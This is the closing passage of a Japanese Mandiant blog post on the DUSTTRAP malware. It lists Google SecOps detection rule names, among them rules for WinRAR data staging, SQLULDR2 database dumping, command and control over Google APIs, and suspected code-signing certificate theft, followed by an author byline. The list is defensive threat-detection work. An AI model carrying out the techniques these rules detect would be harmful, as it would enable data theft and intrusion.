Google SecOps Enterprise+ をご利用の場合、新たな脅威ルールパックにルールがリリースされており、このブログ投稿に記載されている IOC を利用して高度な脅威インテリジェンスによって優先順位付けを行うことができます。  

関連ルール

  • CSV から RAR への WinRAR コマンドライン

  • SQLULDR2 プロセス起動

  • DUSTTRAP プロセス実行とコマンド&コントロール

  • DUSTTRAP 複数のユーティリティのドロップ

  • 目標プロセスにおける DUSTTRAP アクションの生成

  • Google API 経由の DUSTTRAP コマンド&コントロールの疑い

  • コード署名証明書の盗難の疑い(CCR Inc

Mandiant、執筆者: Mike Stokkel、Pierre Gerlings、Renato Fontana、Luis Rocha、Jared Wilson、Stephen Eckels、Jonathan Lepore

投稿先